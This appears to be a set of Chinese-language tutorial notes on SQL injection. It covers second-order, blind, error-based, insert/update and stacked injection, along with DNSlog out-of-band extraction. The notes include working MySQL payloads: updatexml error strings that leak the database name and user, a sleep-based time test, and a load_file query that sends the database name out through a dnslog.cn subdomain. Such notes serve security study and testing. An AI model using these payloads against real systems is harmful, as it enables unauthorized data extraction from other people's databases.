一、二次注入
1.1 原理
在第一次进行数据库插入数据的时候,使用了addslashes等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 "\" 进行转义,但是 "\" 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到数据库中之后,开发者会认为数据是可信的,在下一次进行查询的时候,直接从数据库中取出了脏数据。没有进行进一步的检验和处理,,这样就会造成SQL的二次注入。比如:在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中,然后在下一次使用中在拼接的过程中,就形成了二次注入。
整个注入过程需要执行两次
- 第一次仅仅是将恶意代码写入到数据库中。
- 第二次执行恶意代码【暴露数据,修改其他账号密码】
出现位置:
注册账号,修改密码
注册邮箱,修改密码添加文章,编辑文件
二、盲注
2.1 什么是盲注?
盲注是一种SQL注入的攻击方式,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注。
2.2 盲注分为三种:布尔盲注、时间盲注、报错盲注
其中布尔盲注,就是说我们在注入语句的后面加上一个布尔判断,就是判断真和假。如果说我们判断的条件成立了,页面依然显示正常,那么就说明这个代码执行了,如果后面的布尔判断不成立,页面显示错误了。那么结合这两个,我们就可以判断出来这个页面大概率是存在注入漏洞的。然后的话,布尔盲注一般需要结合if语句,就是mysql中的if判断,还要结合substring去截取字符串。
延时盲注的话,很多时候需要结合sleep函数,如果说sleep函数一旦被执行了,页面就会有一个延时,延时就是比正常页面显示时间耗时更长,这就说明sleep函数被执行了。
报错盲注一般情况下是要借助于mysql中的一个内置函数,叫mysql_error,在新版本中叫mysqli_error,这个是专门实现报错盲注的。就是如果你的网站要实现报错盲注,那你就得看看有没有这个函数,有它就支持,没有就不支持。
- 布尔:if、substring、regxp正则表达式、like、ascii
- 延时:if、sleep
- 报错:updatexml、floor向下取整的函数
- 真:true、1、2>1、2=2
- 假:flase、0、1>2、2=3
- 例:
- select if(1=1,"ok","error")
- 1' and if(1=1,"ok","error")
2.3 判断是否有引号
123\
- 如果页面显示正常,则说明这个值是数值类型,没有用引号
- 如果页面显示异常,则说明这个值是字符串类型,一定有引号
2.4 判断单双引号
123 ' 123"
- 123' 页面显示正常,但是123"显示异常,说明服务器端用的是双引号,反之就是单引号
2.5 延时注入格式:
id=1 and if(substring(database(),2,1)="b",sleep(11),"0")
注意:延时盲注返回结果不是布尔值
2.6 报错注入最大的危害
就是导致敏感信息泄露
2.7 报错原理:
就是我们可以让系统去发生报错,然后借助于mysql_error 输出报错信息,然后为了让它输出敏感信息,我们就在后面加上一个不存在的函数,然后它会提示你,这个库不存在这个函数,这个时候,我们就拿到了这个数据库名称了。
报错注入:
mysql_error()、mysqli_error()
2.8 updatexml()函数
作用:替换xml字符串中的内容
语法:updatexml(xml,xpath,字符串)
参数一:xml格式的字符串
参数二:xpath语法的路径
参数三:字符串
xml格式:
<student>
<name>tom</name>
<age>18</age>
<weight>75</weight>
</student>
xpath路径
/student/name
注入语句:
update u set name=updatexml('<student><name>tom</name><age>18</age><weight>75</weight></student>',concat(0x7e,(select database()),0x7e),'abcd')
标准语句:
update u set name=updatexml('<student><name>tom</name><age>18</age><whight>75</whight></student>','/student/age','<gender>M</gender>')
注意:0x7e 转义后会被数据识别为~
报错注入实践
在黑盒模式下的报错注入的基本思路是:
首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容
报错注入得到库名
1' and info() --+
1' and (updatexml(1,concat(1,concat(0x7e,(select database()),0x7e),1)) --+
三、insert注入
需求:检查insert语句是否存在注入漏洞。
查看项目中文件有两种方法
1.直接访问 【直接访问的时候,往往会缺少参数】
2.找那个文件调用的目标文件,通过调用关系来打开【建议】
注入语句
'or updatexml(1,concat(0x7e,database(),0x7e),1) or '
' or a() or'
四、update注入
第一步:找网站访问入口
访问网站-检查首页文件
检查网站根目录:index.html、index.php、index.asp、index.jsp、default.html、default.php
第二步:分析网站的访问入口
看代码
第三步:找包含了update语句的文件
第四步:分析找到的文件
检查是否有数据库相关的明显漏洞点,例如:mysql_error()
检查这个文件如何执行,检查代码是否在函数中
直接访问这个文件试试
第五步:找那个文件调用的这个文件
第六步:测试注入语句
?r=software&cid=2 or updatexml(1,concat(0x7e,user(),0x7e),1)
?r=software&cid=2 or a()
如果测试过程中,感觉输入的SQL语句可以正常执行,但是结果正常,那么就需要仔细检查语句。
五、堆叠注入
简介
- 堆叠查询注入
- 针对查询语句进行注入、通过堆叠注入,可以执行多条SQL语句,语句之间用冒号分割
- 一般第一个语句是正常的,第二个是注入语句,通常之后显示第一个语句的执行结果。
- sqlserver、oracle、mysql都支持
PHP函数
mysql_query()、mysqli_query() 执行单个SQL语句
mysql_multi_query()、mysqli_multi_query() 执行多个SQL语句
六、二次注入
常见位置:
注册界面、修改界面、查看界面
添加文章、修改文件
二次注入什么时候使用?
要测试的网站做了这个转义,开启了GPC,输入单引号会被转义,这个时候就可以尝试用二次注入
二次注入有什么特点?
就是我们在往里面写数据的时候,数据被转义了,就是传进去的数据会被加上斜线。这个情况,我们可以把数据保存到数据库中,比如:在注册的时候,我可以把它保存到数据库里,往数据库写数据的时候,转义字符是写不进去的。那将来,我在读取,访问我的用户名时,我们就可以去触发当初写的那个恶意语句了
七、DNSlog注入
DNSlog:记录域名解析信息
DNS外带:
查询DNS的解析日志,获取敏感信息
用的函数:load_file
DNS外带使用场景
盲注
无回显的XSS、SSRF、XXE
限制条件
首先要有注入点
高权限用户
有读写权限
secure_file_prive=" "
平台:
www.dnslog.cn ceye.io admin.dnslog.link
语句:
id=1' and (select load_file(concat('11',(select database()),'.otsiaj.dnslog.cn/aaa'))) #